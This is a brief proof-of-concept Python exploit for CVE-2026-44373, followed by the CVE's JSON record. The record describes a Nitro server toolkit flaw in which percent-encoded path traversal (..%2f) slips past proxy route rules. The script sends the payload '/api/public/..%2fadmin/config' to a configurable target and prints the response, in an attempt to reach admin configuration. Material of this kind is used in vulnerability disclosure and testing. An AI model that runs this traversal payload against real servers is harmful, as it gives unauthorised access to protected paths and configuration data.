CVE-2026-44373

# PoC for CVE-2026-44373 # Exploiting path traversal via percent-encoding import requests def exploit(target_url): # The payload uses ..%2f to bypass proxy rules # Change 'sensitive-path' to the actual path you want to reach payload = "/api/public/..%2fadmin/config" full_url = f"{target_url}{payload}" print(f"Sending request to: {full_url}") try: response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Request successful! Possible bypass detected.") print("Response snippet:", response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://localhost:3000" # Replace with actual target exploit(target)

{"cve": {"id": "CVE-2026-44373", "sourceIdentifier": "[email protected]", "published": "2026-05-13T21:16:48.033", "lastModified": "2026-05-14T16:57:26.740", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nitro is a next generation server toolkit. Prior to 3.0.260429-beta, an attacker could bypass a proxy route rule by sending percent-encoded path traversal (..%2f) in the URL, causing Nitro to forward a request that the upstream resolved outside the configured scope. This vulnerability is fixed in 3.0.260429-beta."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/nitrojs/nitro/pull/4222", "source": "[email protected]"}, {"url": "https://github.com/nitrojs/nitro/pull/4223", "source": "[email protected]"}, {"url": "https://github.com/nitrojs/nitro/releases/tag/v2.13.4", "source": "[email protected]"}, {"url": "https://github.com/nitrojs/nitro/releases/tag/v3.0.260429-beta", "source": "[email protected]"}, {"url": "https://github.com/nitrojs/nitro/security/advisories/GHSA-5w89-w975-hf9q", "source": "[email protected]"}]}}